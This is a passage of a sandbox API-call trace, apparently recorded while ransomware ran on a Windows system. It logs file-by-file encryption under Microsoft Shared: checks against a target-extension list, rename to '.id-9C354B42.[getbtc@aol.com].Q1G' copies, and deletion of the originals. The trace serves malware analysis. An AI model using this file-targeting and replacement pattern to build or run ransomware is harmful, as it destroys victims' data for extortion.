[0041.400] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.401] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.401] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0041.401] GetLastError () returned 0x0 [0041.401] ReadFile (in: hFile=0x204, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x106f, lpOverlapped=0x0) returned 1 [0041.430] WriteFile (in: hFile=0x1f0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0041.450] ReadFile (in: hFile=0x204, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.450] WriteFile (in: hFile=0x1f0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0041.450] SetEndOfFile (hFile=0x1f0) returned 1 [0041.450] CloseHandle (hObject=0x1f0) returned 1 [0041.451] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.451] SetEndOfFile (hFile=0x204) returned 1 [0041.451] CloseHandle (hObject=0x204) returned 1 [0041.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0041.452] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0041.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.452] lstrlenW (lpString=".doc") returned 4 [0041.452] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.452] lstrlenW (lpString=".docx") returned 5 [0041.452] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.452] lstrlenW (lpString=".pdf") returned 4 [0041.452] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.452] lstrlenW (lpString=".xls") returned 4 [0041.452] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.452] lstrlenW (lpString=".xlsx") returned 5 [0041.452] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.452] lstrlenW (lpString=".ppt") returned 4 [0041.452] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.452] lstrlenW (lpString=".zip") returned 4 [0041.452] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.453] lstrlenW (lpString=".rar") returned 4 [0041.453] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.453] lstrlenW (lpString=".bz2") returned 4 [0041.453] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.453] lstrlenW (lpString=".7z") returned 3 [0041.453] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.453] lstrlenW (lpString=".dbf") returned 4 [0041.453] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.453] lstrlenW (lpString=".1cd") returned 4 [0041.453] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.453] lstrlenW (lpString=".jpg") returned 4 [0041.453] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.453] lstrlenW (lpString=".doc") returned 4 [0041.453] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0041.453] lstrlenW (lpString=".docx") returned 5 [0041.453] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0041.453] lstrlenW (lpString=".pdf") returned 4 [0041.453] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0041.453] lstrlenW (lpString=".xls") returned 4 [0041.453] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0041.453] lstrlenW (lpString=".xlsx") returned 5 [0041.453] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0041.453] lstrlenW (lpString=".ppt") returned 4 [0041.453] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0041.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.453] lstrlenW (lpString=".zip") returned 4 [0041.454] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0041.454] lstrlenW (lpString=".rar") returned 4 [0041.454] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0041.454] lstrlenW (lpString=".bz2") returned 4 [0041.454] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0041.454] lstrlenW (lpString=".7z") returned 3 [0041.454] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0041.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.454] lstrlenW (lpString=".dbf") returned 4 [0041.454] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0041.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.454] lstrlenW (lpString=".1cd") returned 4 [0041.454] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0041.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103 [0041.454] lstrlenW (lpString=".jpg") returned 4 [0041.454] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0041.454] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0041.454] lstrlenW (lpString="SETUP.XML") returned 9 [0041.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0042.278] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1872) returned 1 [0042.278] CloseHandle (hObject=0x204) returned 1 [0042.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 0x20 [0042.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0042.278] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.279] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0042.279] GetLastError () returned 0x0 [0042.279] ReadFile (in: hFile=0x204, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x750, lpOverlapped=0x0) returned 1 [0042.531] WriteFile (in: hFile=0x1a0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x760, lpOverlapped=0x0) returned 1 [0042.532] ReadFile (in: hFile=0x204, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.532] WriteFile (in: hFile=0x1a0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.532] SetEndOfFile (hFile=0x1a0) returned 1 [0042.532] CloseHandle (hObject=0x1a0) returned 1 [0042.533] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.533] SetEndOfFile (hFile=0x204) returned 1 [0042.533] CloseHandle (hObject=0x204) returned 1 [0042.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0042.534] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0042.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.534] lstrlenW (lpString=".doc") returned 4 [0042.534] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.534] lstrlenW (lpString=".docx") returned 5 [0042.534] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.534] lstrlenW (lpString=".pdf") returned 4 [0042.534] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.534] lstrlenW (lpString=".xls") returned 4 [0042.534] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.534] lstrlenW (lpString=".xlsx") returned 5 [0042.534] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.534] lstrlenW (lpString=".ppt") returned 4 [0042.534] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.534] lstrlenW (lpString=".zip") returned 4 [0042.534] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.534] lstrlenW (lpString=".rar") returned 4 [0042.534] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.534] lstrlenW (lpString=".bz2") returned 4 [0042.535] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.535] lstrlenW (lpString=".7z") returned 3 [0042.535] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.535] lstrlenW (lpString=".dbf") returned 4 [0042.535] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.535] lstrlenW (lpString=".1cd") returned 4 [0042.535] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.535] lstrlenW (lpString=".jpg") returned 4 [0042.535] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.535] lstrlenW (lpString=".doc") returned 4 [0042.535] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.535] lstrlenW (lpString=".docx") returned 5 [0042.535] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.535] lstrlenW (lpString=".pdf") returned 4 [0042.535] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.535] lstrlenW (lpString=".xls") returned 4 [0042.535] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.535] lstrlenW (lpString=".xlsx") returned 5 [0042.535] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.535] lstrlenW (lpString=".ppt") returned 4 [0042.535] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.535] lstrlenW (lpString=".zip") returned 4 [0042.535] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.535] lstrlenW (lpString=".rar") returned 4 [0042.535] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.535] lstrlenW (lpString=".bz2") returned 4 [0042.535] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.535] lstrlenW (lpString=".7z") returned 3 [0042.536] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.536] lstrlenW (lpString=".dbf") returned 4 [0042.536] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.536] lstrlenW (lpString=".1cd") returned 4 [0042.536] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.536] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0042.536] lstrlenW (lpString=".jpg") returned 4 [0042.536] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.536] lstrcmpiW (lpString1=".TXT", lpString2=".Q1G") returned 1 [0042.536] lstrlenW (lpString="METCONV.TXT") returned 11 [0042.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0042.658] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=1183416) returned 1 [0042.658] CloseHandle (hObject=0x1a8) returned 1 [0042.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0042.658] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0042.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0042.658] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.658] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.658] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0042.658] GetLastError () returned 0x0 [0042.658] ReadFile (in: hFile=0x1a8, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0042.830] WriteFile (in: hFile=0x200, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0042.849] ReadFile (in: hFile=0x1a8, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0043.143] WriteFile (in: hFile=0x200, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0043.148] ReadFile (in: hFile=0x1a8, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.148] WriteFile (in: hFile=0x200, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0043.148] SetEndOfFile (hFile=0x200) returned 1 [0043.148] CloseHandle (hObject=0x200) returned 1 [0043.160] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.160] SetEndOfFile (hFile=0x1a8) returned 1 [0043.161] CloseHandle (hObject=0x1a8) returned 1 [0043.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0043.161] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.162] lstrlenW (lpString=".doc") returned 4 [0043.162] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0043.162] lstrlenW (lpString=".docx") returned 5 [0043.162] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0043.162] lstrlenW (lpString=".pdf") returned 4 [0043.162] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0043.162] lstrlenW (lpString=".xls") returned 4 [0043.162] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0043.162] lstrlenW (lpString=".xlsx") returned 5 [0043.162] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0043.162] lstrlenW (lpString=".ppt") returned 4 [0043.162] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.162] lstrlenW (lpString=".zip") returned 4 [0043.162] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0043.162] lstrlenW (lpString=".rar") returned 4 [0043.162] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0043.162] lstrlenW (lpString=".bz2") returned 4 [0043.162] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0043.162] lstrlenW (lpString=".7z") returned 3 [0043.162] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.162] lstrlenW (lpString=".dbf") returned 4 [0043.162] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.162] lstrlenW (lpString=".1cd") returned 4 [0043.162] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.162] lstrlenW (lpString=".jpg") returned 4 [0043.162] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.162] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.162] lstrlenW (lpString=".doc") returned 4 [0043.162] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0043.163] lstrlenW (lpString=".docx") returned 5 [0043.163] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0043.163] lstrlenW (lpString=".pdf") returned 4 [0043.163] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0043.163] lstrlenW (lpString=".xls") returned 4 [0043.163] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0043.163] lstrlenW (lpString=".xlsx") returned 5 [0043.163] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0043.163] lstrlenW (lpString=".ppt") returned 4 [0043.163] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0043.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.163] lstrlenW (lpString=".zip") returned 4 [0043.163] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0043.163] lstrlenW (lpString=".rar") returned 4 [0043.163] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0043.163] lstrlenW (lpString=".bz2") returned 4 [0043.163] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0043.163] lstrlenW (lpString=".7z") returned 3 [0043.163] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0043.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.163] lstrlenW (lpString=".dbf") returned 4 [0043.163] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0043.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.163] lstrlenW (lpString=".1cd") returned 4 [0043.163] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0043.163] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0043.163] lstrlenW (lpString=".jpg") returned 4 [0043.163] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0043.163] lstrcmpiW (lpString1=".jpg", lpString2=".Q1G") returned -1 [0043.163] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0043.164] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0043.632] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=6406) returned 1 [0043.632] CloseHandle (hObject=0x1a8) returned 1 [0043.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Common 